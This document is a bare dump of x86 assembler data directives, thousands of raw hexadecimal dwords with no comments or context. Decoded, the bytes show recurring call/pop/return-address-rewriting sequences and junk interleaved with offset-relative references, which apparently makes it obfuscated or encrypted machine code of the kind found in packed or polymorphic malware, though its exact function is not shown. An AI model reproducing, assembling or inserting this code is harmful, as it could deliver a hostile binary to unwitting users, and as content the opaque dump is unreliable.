		dd 11E9h, 0C6E63F00h, 0C82F28BCh, 0ACA07C26h, 962B5C64h
		dd 0BF60DFB9h, 470413CBh, 161DBD2Bh, 8D61061Fh,	2324B185h
		dd 0D0D98106h, 0F15F671h, 8589CAB7h, 61F08D1h, 75E9h, 8C666000h
		dd 0F04A8D8h, 3584h, 0FF016A00h, 1F20D9B5h, 93858D06h
		dd 0FF062279h, 1D8589D0h, 8B061F08h, 0CEFC1FEh,	4000068h
		dd 6A006A20h, 0D685702h, 0FF000100h, 1F081D95h,	32E906h
		dd 85C60000h, 61F2025h,	30DF6856h, 0B5FFA9C5h, 61F3271h
		dd 7993858Dh, 0D0FF0622h, 0EA98589h, 858D061Fh,	61F2CBDh
		dd 6A206A50h, 95FF5605h, 61F0EA9h, 0E0C1C361h, 6A6006h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
		dd 0F0854DC3h, 0B9C752BCh, 8BF917FEh, 0A18D03C0h, 83061F15h
		dd 1F06C1BDh, 9750006h,	1F51BD83h, 7400061Fh, 8B535019h
		dd 438B8C0h, 85890000h,	61F0F65h, 0AFA49D8Dh
		dd 0D3FF0621h, 0BD83585Bh, 61F1F51h, 50177400h,	438B853h
		dd 85890000h, 61F0F65h,	0AC939D8Dh, 0D3FF0621h,	6A585Bh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
		dd 0F00D8BC3h, 0B589B1B4h, 61F1219h, 2CEDB509h,	0C08B061Fh
		dd 21B58B60h, 66061F31h, 61ED15BFh, 843E8h, 598D8900h
		dd 89061F31h, 1F2AB585h, 14E95106h, 4C000000h, 9D03F25Eh
		dd 8DF5B72Fh, 77CE945Bh, 0CACFE8E2h, 5FB20379h,	817E8h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1D04h
		dd 0C3524200h, 91106F11h, 5E6EB632h, 8589513Ch,	61F3085h
		dd 157D8589h, 6A061Fh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1A0424h, 55450000h, 8B04DEC3h, 0B55C8E13h, 7BFE8h, 0B58D2B00h
		dd 89061F0Fh, 1F1D1585h, 0EBB96606h, 7AAE8DEh, 6A0000h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
		dd 0BF95CCC3h, 81B0D197h, 10E89214h, 39000000h,	0D0E6F129h
		dd 0E2DB1458h, 716CF4E4h, 5EE0B901h, 0E9E98166h, 9D8956E3h
		dd 61F1701h, 4185895Eh,	6A061F0Fh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 0DD2DC353h
		dd 0E8F28B82h, 738h, 31B52353h,	59061F31h, 30D5B58Bh, 8589061Fh
		dd 61F3025h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 17h,	8C35040h, 0BE54AC30h, 409408D5h, 6FBE8h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1A04h, 0C3554500h
		dd 22C0662Fh, 89A93595h, 1F1EB185h, 0F2BF0F06h,	6CBE8h
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1C04h
		dd 0C3574700h, 9269006Dh, 1C343659h, 0AC17B9F3h, 85895E85h
		dd 61F1ECDh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Ch,	0DDC35747h, 293FA587h, 0FD426C8Fh, 71E8FE8Bh, 51000006h
		dd 2E99BD89h, 895F061Fh, 1F0D2985h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1904h,	0C3554500h, 60F58060h
		dd 0B70FA504h, 63AE8F9h, 6A0000h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1B0424h, 56460000h, 9B46CCC3h, 54967C3Ch
		dd 0A5BD8B60h, 0F061F02h, 585h,	0E1816600h, 8589E12Fh
		dd 61F1545h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 17h,	0DEC35747h, 0E8FF2EA1h,	5DCh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Dh, 0CC35242h, 0A4DEC8B7h, 58841389h
		dd 49858918h, 0E8061F07h, 5ACh,	5B13C681h, 858956FFh, 61F105Dh
		dd 0C340E681h, 95E862B5h, 8B000005h, 918589FAh,	0F061F32h
		dd 681h, 0B5958900h, 0E8061F05h, 57Ch, 758589FCh, 6A061F15h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 15042444h
		dd 46000000h, 49BCC356h, 10218D89h, 4DE8061Fh, 89000005h
		dd 1F010585h, 0B98D8B06h, 0E8061F31h, 53Ch, 581110B9h
		dd 1858950h, 6A061F2Dh,	3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 19042444h, 42000000h, 0E4CEC352h,	395576D0h
		dd 0BD958960h, 1061F1Eh, 1F31B9BDh, 70BF6106h, 0E878B46Ch
		dd 4F8h, 658589F9h, 6A061F08h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1B042444h, 47000000h, 0ED92C357h,	0D25209A7h
		dd 85895F7Bh, 61F0739h,	0EF509DB9h, 6A00B03Bh, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h
		dd 31BFC355h, 0B60F806Ah, 5890FD8h, 0BE000000h,	652B05AAh
		dd 68C0Fh, 0D7810000h, 5A73BBC3h, 6BAh,	51006A00h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1C04h, 0C3514100h
		dd 0AF7771AAh, 64C873Eh, 0BF0F607Ch, 7E9D9h, 373B0000h
		dd 450039E0h, 0C38B61ACh, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 18h, 8C35242h, 1BC4FB6Bh, 0E904E8C1h, 5, 0E670D1D7h
		dd 0E2F766A1h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 15h,	58C35343h, 0D58D8BC5h, 2B061F20h, 57006AD8h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1404h, 0C3574700h
		dd 5093FC1Ah, 0E8525051h, 9, 0F7D37CEh,	0C23C4143h, 310F597Bh
		dd 0DE9h, 0A2D60A00h, 0D1DDE2EAh, 65A380BEh, 585A867Ah
		dd 6A9359h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h
		dd 56460000h, 0FAAFD3C3h, 950D6E77h, 3049B589h,	95FF061Fh
		dd 61F3175h, 0FC99D01h,	8D89061Fh, 61F20DDh, 52006A5Bh
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1604h, 0C3524200h
		dd 8D90123Fh, 1F07B195h, 0F5CD8006h, 1A89FB8Bh,	0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 13C35141h, 0E5AA5C95h
		dd 0D0CC078Ch, 0BF8B70Fh, 1F083DB5h, 958B6006h,	61F3159h
		dd 3850Fh, 0BF0F0000h, 428961DEh, 69B58B04h, 8D061F26h
		dd 1F306995h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1804h, 0C3524200h, 34431400h, 0A98509CBh, 89061F1Eh
		dd 52006A1Ah, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1504h
		dd 0C3524200h, 0D2BF427Ah, 6651D6C0h, 89FA0ABFh, 0F88B0442h
		dd 721958Dh, 6A061Fh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 190424h, 55450000h, 2F19E4C3h, 0F083773h, 684h, 0A5BD8B00h
		dd 8B061F0Eh, 1F1DD18Dh, 0F1A8906h, 4289FBBFh, 51006A04h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1904h, 0C3514100h
		dd 277AECDDh, 870F2EAFh, 5, 0EAE98166h,	6870F2Bh, 8B000000h
		dd 1F0ABD8Dh, 0D9958D06h, 6A061F2Ah, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 5823C353h
		dd 0BDF567F1h, 0BF0FC9EEh, 6A1A89F6h, 3E85700h,	20000000h
		dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 290CC357h
		dd 6A044289h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 16042444h, 40000000h, 0A235C350h, 49BD8907h,	8D061F0Ah
		dd 1F1D8195h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1B04h, 0C3524200h, 219C496Eh, 5FB4A632h, 89F8B70Fh
		dd 50006A1Ah, 3E8h, 0C3582000h,	24448958h, 24448104h, 1D04h
		dd 0C3504000h, 0D05DB4Dh, 1788873Ah, 13E8C0D3h,	49000000h
		dd 982B1E5Ch, 24BB1240h, 973D3EA5h, 0EFB3407Fh,	81666CB3h
		dd 5E62B4D7h, 66044289h, 12E8F38Bh, 21000000h, 28676EF1h
		dd 3B92E390h, 0D8B4C977h, 47475E9Bh, 0CDB58BA6h, 5E061F2Fh
		dd 2BA9958Dh, 6A061Fh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 170424h, 57470000h, 1A7F11C3h, 6A1A89CDh, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h
		dd 0B096C353h, 442899Ch, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 16h, 7CC35545h, 958DC668h,	61F2091h, 1A89CB8Bh
		dd 8E9h, 9C19F300h, 70BDCFD1h, 4428952h
		dd 119D958Dh, 6A061Fh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 180424h, 57470000h, 227D90C3h, 81660630h, 8BA8CBDFh
		dd 1F308DB5h, 6A1A8906h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1D042444h, 41000000h, 0B499C351h,	0BB186E68h
		dd 1888726Ah, 1F09B58Bh, 4289061Fh, 53006A04h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1504h,	0C3534300h, 0CCE906BDh
		dd 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1B042444h, 45000000h, 0E93EC355h, 0E7FABF82h, 0E2B1B665h
		dd 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h
		dd 51410000h, 0FB749AC3h, 0E9006A5Fh, 10h, 0C4BF4CCEh
		dd 0AF8C0D6Fh, 78BF10BDh, 43272ED9h, 6A006Ah, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 150424h, 50400000h, 890AF2C3h
		dd 1F0ED19Dh, 0C5B58B06h, 6A061F2Ah, 56006A00h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1C04h,	0C3564600h, 161755CCh
		dd 2BED2EBFh, 5D958901h, 0FF061F07h, 1F2B0D95h,	6DBD8B06h
		dd 0BF061F0Dh, 439E24DCh, 3DBD8BC3h, 8A061F06h,	0D5B589C5h
		dd 0F061F0Fh, 0C08BFFBFh, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Ah, 2CC35242h, 88E52EA7h,	0BD836445h, 61F06C1h
		dd 83097500h, 1F1F51BDh, 19740006h, 0C08B5350h,	438B8h
		dd 95858900h, 8D061F13h, 21B00B9Dh, 5BD3FF06h, 51BD8358h
		dd 61F1Fh, 53501774h, 438B8h, 95858900h, 8D061F13h, 21ACAC9Dh
		dd 5BD3FF06h, 52006A58h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1404h, 0C3524200h, 9589F504h, 61F1EC9h, 12E8h, 6917C00h
		dd 22C0662Fh, 16A93595h, 0C08F4D89h, 897BDF75h,	1F08E5BDh
		dd 0C08B5E06h, 19BD858Dh, 6A061Fh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1D0424h, 52420000h, 9E14ADC3h, 29176EA1h
		dd 8B507A17h, 1F1341BDh, 0E6B35006h, 8B240489h,	1F149D9Dh
		dd 6A006A06h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 17042444h, 46000000h, 0DBFAC356h, 0AE8D098h,	48000000h
		dd 2418313Dh, 0AEB67220h, 0BE975h, 0ACEE0000h, 4952D6FAh
		dd 0E59EB0C8h, 6A5F78h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Dh, 0BBC35040h, 21556E8Fh, 0BA6E5AA9h, 8DD88BC8h
		dd 23403185h, 91BD3106h, 83061F24h, 6A05C0h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 5E7218C3h
		dd 0A4CCB18h, 0BF50FCB2h, 7E1EFC96h, 6A240489h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h
		dd 63DCC353h, 0F85F9AC8h, 6ADBB0ABh, 53006A00h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1804h,	0C3534300h, 0DFDC6683h
		dd 58D8998h, 6A061F1Bh,	8DBD8B00h, 29061F1Fh, 1F302195h
		dd 6195FF06h, 66061F01h, 846F781h, 0B1F28D8Dh, 9D8B0622h
		dd 61F3129h, 6AD1FFh, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1D0424h, 52420000h, 147FCBC3h, 97F7C220h, 574033D9h
		dd 1FCDBD8Bh, 835F061Fh, 1F0EF5BDh, 850F0106h, 21h, 2BE78166h
		dd 31026AEDh, 1F2E999Dh, 0F98B5006h, 29240489h,	1F11F58Dh
		dd 5595FF06h, 0B3061F2Fh, 0D74E975h, 0E80000h, 5D000000h
		dd 403BED81h, 6E80623h,	87000000h, 5BCFDF69h, 0A935BB2Eh
		dd 8B5F07F0h, 0DA8B66D8h, 8EE4858Dh, 0BD2B0622h, 61F0DC9h
		dd 0DF8B6690h, 9070B750h, 14399D23h, 0FF64061Fh, 35h, 890F00h
		dd 0E9000000h, 9, 0CF308ACh, 0C98B2A0Bh, 25896480h, 0
		dd 0EE9h, 41C7EA00h, 0D20EEF58h, 0D527205Fh, 0FF406FC1h
		dd 1F102985h, 0B1BD2B06h, 6A061F20h, 0D98D89FFh, 0FF061F12h
		dd 1F2AB5B5h, 919D8B06h, 0FF061F07h, 1F1CED95h,	0EDE906h
		dd 29510000h, 1F0B0DBDh, 0B05F06h, 68F0F50h, 31000000h
		dd 1F2BCD95h, 70E65F06h, 7699D2Bh, 71E4061Fh, 0D9B58950h
		dd 5F061F0Eh, 88DBD03h,	613C061Fh, 0B5830Fh, 0BF0F0000h
		dd 3F33BFDAh, 0B60F6516h, 0D006BBC8h, 6BA1483h,	0F5000000h
		dd 0BE9C18Bh, 41000000h, 310BE929h, 9AC1661Eh, 0E8C191AEh
		dd 859D8904h, 66061F06h, 0BD8BE2F7h, 61F0DE5h, 9531C82Bh
		dd 61F1F29h, 8166D18Bh,	0E98BB4EFh, 6, 0F9D9D89h, 858B061Fh
		dd 61F07B1h, 0D7FDBF66h, 6607C083h, 810BE381h, 6600C083h
		dd 0C1A5E381h, 830FD03Bh, 0Bh, 8A90F381h, 34E90380h, 8B000000h
		dd 1F20098Dh, 71BD8906h, 83061F15h, 840F01E1h, 1Fh, 14319529h
		dd 0A583061Fh, 61F2009h, 9589FCFEh, 61F07B1h, 2F4D9D8Bh
		dd 0E9061Fh, 8D000000h,	22CA57B5h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1C04h,	0C3564600h, 0F8A7A677h
		dd 0B4326F23h, 49BD89CBh, 6A061F2Dh, 57006A00h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1D04h,	0C3574700h, 0A6D9C003h
		dd 31F21421h, 9D23E047h, 61F1EC9h, 145BF781h, 95FF1364h
		dd 61F1D45h, 652B9FCh, 80600000h, 0B70FC4C2h, 0E18361D9h
		dd 55006AFCh, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1704h
		dd 0C3554500h, 0B196F32Ah, 13E8h, 18EAC000h, 0C76BE4B7h
		dd 34C53638h, 3E4396E5h, 0A8573F33h, 0F1F9BB66h, 6890F5Fh
		dd 89000000h, 1F23C5B5h, 0BF66FC06h, 7E967DFh, 72000000h
		dd 19F78400h, 0B84988h,	6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 891C356h
		dd 815F79BEh, 0BAA9h, 6A0000h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 190424h, 51410000h, 0A87431C3h, 8B427F89h
		dd 1F17119Dh, 0C233AD06h, 0D003E8D1h, 7504E983h, 699D29F4h
		dd 0D061F2Ch, 88h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Ch, 47C35040h, 0AAC11651h, 25E51D28h, 30B59D8Bh
		dd 958B061Fh, 61F0B5Dh,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 17h, 0B6C35646h, 8BC14FC3h, 0FE9FEh, 0DBD0000h
		dd 0A65B4762h, 5802E683h, 284B13F6h, 0C58D8BD4h, 6A061F20h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1B042444h
		dd 43000000h, 0FECEC353h, 0ED79CC5Eh, 0FF5CE3Ch, 8B50D8B7h
		dd 3188BC2h, 8B188BC1h,	3E8D1C1h, 58188BC2h, 0FDE8B66h
		dd 289h, 6AD88B00h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
		dd 17042444h, 41000000h, 9172C351h, 0BD83B23Ch,	61F078Dh
		dd 92840F00h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1C042444h, 46000000h, 11A4C356h, 4F9EBACCh
		dd 0E9BBAAF2h, 13h, 6C9D6E07h, 5CB0D668h, 2D2C98B7h, 9ADDF587h
		dd 0B81E0552h, 0
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 19C35343h
		dd 0D7F5A187h, 8D8D6A6Ch, 61F4DB0h, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 18h, 32C35040h, 0A30EAEC1h, 8CB3E1FFh
		dd 42EB8166h, 7DBD83F7h, 61F13h, 40B840Fh, 6A0000h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h
		dd 0A4FB0BC3h, 3F46F8D4h, 606C45C0h, 1890Fh, 8BFC0000h
		dd 1F122985h, 0BD836106h, 61F137Dh, 0E5840F01h,	6A000003h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1B042444h
		dd 46000000h, 0F740C356h, 0CD8E1285h, 9D8BE67Fh, 61F0EB1h
		dd 808BF66h, 137DBD83h,	0F03061Fh, 37586h, 56006A00h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h
		dd 0B6DB48D3h, 56006A60h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1704h, 0C3564600h, 64C65EB8h, 89D98C66h
		dd 1F1B3D9Dh, 4E18006h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Dh, 0AFC35242h, 60C12CECh, 0F6493810h, 0AD9D8B92h
		dd 0A061F2Ch, 34840FC9h, 8B000001h, 1F1D01BDh, 8BFA8B06h
		dd 1F0DC185h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1704h, 0C3564600h, 1D8B3E4Bh, 2EC98533h, 6A061Fh, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
		dd 0D4E2EBC3h, 90DA8B2Eh, 7E9h,	44603500h, 0C1B826BCh
		dd 830F50h, 90000000h, 6890Fh, 8D890000h, 61F2C49h, 6A006Ah
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h
		dd 0E9FDD6C3h, 0Bh, 64D2658Bh, 11AD14EAh, 0F58619Bh, 1582h
		dd 10E900h, 2F670000h, 0A799FA31h, 59182C75h, 8AB78E5Ch
		dd 0DB6830DAh, 607F6EA0h, 0B866F78Ah, 8161EECBh, 0A3242434h
		dd 11E97F71h, 75000000h, 8BC46BF3h, 7DDFA753h, 7CA2A827h
		dd 675EBB1Ch, 2DE195FFh, 6A061Fh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1B0424h, 57470000h, 158619C3h, 0C9806460h
		dd 74AEBBFFh, 858900E4h, 622B255h, 4160DB81h, 0E9FC6F89h
		dd 15Bh, 6E9h, 79DCA800h, 8B2B255Dh, 22B24D85h,	55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1D04h, 0C3554500h
		dd 37DFE116h, 0DEF79354h, 0C7AA59h, 18h, 0E572CB81h, 0B5895849h
		dd 61F1501h, 0B251B58Bh, 81660622h, 8B0BCACBh, 1F13A185h
		dd 0B5BD8906h, 89061F06h, 0C1858B06h, 0F061F0Dh, 681h
		dd 0B5958900h, 89061F15h, 0AE80446h, 0C2000000h, 7A79B36Ah
		dd 0C40D1722h, 15BD2345h, 5B061F17h, 0DA8B6650h, 66243489h
		dd 606652BFh, 8410F081h, 950B7215h, 61F0E05h, 4DB5FF61h
		dd 0F0622B2h, 18Bh, 0DA68FC00h,	8AF2BCABh, 240481FAh, 0D625825h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 98C35545h
		dd 0F23A960Ah, 665760E7h, 895EF98Bh, 1F2BA585h,	858D6106h
		dd 622B255h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 17h,	4CC35545h, 8BA8203Ah, 1F13F99Dh, 0BB665006h, 4890892h
		dd 599D8924h, 0FF061F17h, 1F2DE195h, 57006A06h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1D04h,	0C3574700h, 70186DF4h
		dd 7F6D2527h, 0BF0F8446h, 119501F8h, 61061F16h,	2419BD89h
		dd 85C7061Fh, 61F137Dh,	3, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 17h, 0F8C35141h, 29376DADh, 1F13C9BDh, 0A9953106h
		dd 83061F31h, 22B255BDh, 840F0006h, 2Ah, 0C8B0Fh, 8B600000h
		dd 1F19598Dh, 0A3BF6606h, 896061ABh, 1F066595h,	0EB816606h
		dd 0E961BB42h, 21h, 2099BD8Bh, 3050061Fh, 4400110Ch, 0E8C10111h
		dd 11443010h, 114C0002h, 0E9835803h, 0EBE77504h, 4305036h
		dd 11640011h, 10E8C101h, 2114430h, 3116400h, 4E98358h
		dd 1BEBE775h, 10E8C150h, 3116428h, 2114430h, 11642858h
		dd 11043001h, 7504E983h, 8B00EBE7h, 50006AC0h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1B04h,	0C3504000h, 96DDD959h
		dd 0F41E8FEBh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 18h,	0AC35747h, 0F4DD17F2h, 1850F51h, 0F8000000h, 7DBD835Fh
		dd 3061F13h, 440850Fh, 6A0000h,	3E853h,	5B200000h, 5C895BC3h
		dd 44810424h, 1B0424h, 53430000h, 0BFAF7EC3h, 0FE5BFF01h
		dd 55BD8341h, 622B2h, 410840Fh,	0B5890000h, 61F0CBDh, 0B255B5FFh
		dd 6A0622h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h
		dd 52420000h, 0FAD9DCC3h, 64EC2771h, 1BC995FFh,	0DB80061Fh
		dd 0AE92Fh, 0B3440000h,	0F53D2493h, 6B93487Bh, 0B249B58Bh
		dd 0BD8B0622h, 61F19D9h, 106C7h, 0F88B0001h, 57D5DF81h
		dd 6050384Dh, 3589BA66h, 2E61B866h, 24348961h, 10E9h, 74FD900h
		dd 9B7AB819h, 77303930h, 72936124h, 55B5FF77h, 660622B2h
		dd 9A46D381h, 162195FFh, 6A061Fh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 140424h, 52420000h, 56F926C3h, 2D699531h
		dd 8B5F061Fh, 22B249B5h, 0DE906h, 0CAE30000h, 0EFD8E835h
		dd 5580008Eh, 8BD49363h, 1F2FF185h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1B04h,	0C3564600h, 9D700EBDh
		dd 0B426100Eh, 1B918D89h, 8689061Fh, 0C4h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 7C35545h, 0EA4658Dh
		dd 81FB8B39h, 7DA859DBh, 5D958B15h, 83061F0Bh, 0AE804C2h
		dd 29000000h, 0F791CFF5h, 4BE4979Ch, 0D99531CBh, 5F061F10h
		dd 89205089h, 1F2B9195h, 97858D06h, 6A0622C7h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
		dd 4B30C356h, 86892457h, 0B8h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ch, 48C35747h, 0EC7BC9B4h, 375C3058h
		dd 0B3E7BF66h, 757A12BBh, 0E9006A72h, 8, 625F44D1h, 28D3BF71h
		dd 0B255B5FFh, 0BF0F0622h, 5595FFFAh, 80061F2Fh, 0CB806CD7h
		dd 0F50961Bh, 489h, 0BFBF6600h,	6A96C7h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 0B2705DC3h
		dd 89C7628Dh, 0B255B5FFh, 9D8B0622h, 61F2A3Dh, 0E1D95FFh
		dd 0BD8B061Fh, 61F2F0Dh, 2C0DBD83h, 0F00061Fh, 6C84h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1604h, 0C3574700h
		dd 662CA453h, 96CCB6BBh, 8E9h, 0A59FE00h, 3AA6509Dh, 11E950E2h
		dd 7C000000h, 6E960616h, 0BA91287Eh, 0C83D4961h, 55FC1024h
		dd 50006A96h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1604h
		dd 0C3504000h, 8B910346h, 1F2B09BDh, 55B5FF06h,	660622B2h
		dd 0FF7939BBh, 1F134995h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1404h,	0C3574700h, 71852919h
		dd 0FF061F2Ah, 22B255B5h, 0BF0F5006h, 95FF5BFEh, 61F1075h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 0D2C35747h
		dd 0B8496207h, 0CAB6B60Ah, 51D48A60h, 0CD9858Bh, 615A061Fh
		dd 9BD83h, 0F02061Fh, 0C284h, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1904h,	0C3504000h, 15641369h
		dd 13E85836h, 91000000h, 423CC1B0h, 459CCD2Dh, 43A03940h
		dd 7D0C6DA0h, 8E9D9C6h,	70000000h, 9EFB55A8h, 5FE2A2DEh
		dd 1751858Bh, 6A061Fh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1A0424h, 53430000h, 9F8DF1C3h, 6945172Ah, 13F59D89h
		dd 11E9061Fh, 0E2000000h, 0FEC4705Fh, 2E477F74h, 13C97CC5h
		dd 1BBA73C4h, 6A0000C6h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1B042444h, 47000000h, 1D54C357h, 5805BC79h
		dd 0BD031133h, 61F1AF1h, 5320E380h, 2679BD89h, 0C75B061Fh
		dd 1F129185h, 6, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1D04h, 0C3504000h, 36F20339h, 94970C1Fh
		dd 9D8BBE2Ah, 61F08C1h,	2AED9D89h, 5CE9061Fh, 6AFFFFF3h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1B042444h
		dd 41000000h, 36DDC351h, 711E190h, 0BD8BAA3Bh, 61F05B9h
		dd 6AC18Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h
		dd 53430000h, 6B85F6C3h, 8197AFC6h, 579BD8Bh, 858D061Fh
		dd 61F19BDh, 10E8h, 82097700h, 0C2CC99Fh, 8E38EF12h, 24CBB0BBh
		dd 21BD8B75h, 5F061F08h, 89D88B50h, 0BB662404h,	6A0B87h
		dd 14DD9D2Bh, 6A061Fh, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 16h, 72C35040h, 8D01EDA4h,	61F310Dh, 4F6E858Dh
		dd 0B70F0623h, 5C083DEh, 39F78166h, 666050B1h, 8961C28Bh
		dd 6A2404h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h
		dd 55450000h, 0D98C17C3h, 0E3C72C8Ah, 0DEBF0FFBh, 6A006Ah
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
		dd 31B723C3h, 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1B0424h, 50400000h, 0FEF23BC3h, 0D08AB59Ah, 6195FFFCh
		dd 6A061F01h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 19042444h, 41000000h, 6577C351h, 4B88BB06h, 0E99D3160h
		dd 61061F1Bh, 1F35BD8Bh, 8D8D061Fh, 622B1F2h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 2BC35646h, 1AE22958h
		dd 58C0Fh, 81660000h, 0FF106BF7h, 19589D1h, 83061F0Fh
		dd 1F0EF5BDh, 850F0106h, 6Ah, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Bh, 29C35141h, 4901A1DBh, 0F00AD9Dh
		dd 684h, 0E5BD8900h, 6A061F13h,	9ACB8102h, 504B1A88h, 0E7FBBF56h
		dd 895F5036h, 0BD8B2404h, 61F00E9h, 2F5595FFh, 6A061Fh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h
		dd 46E9E7C3h, 0E800000Eh, 0
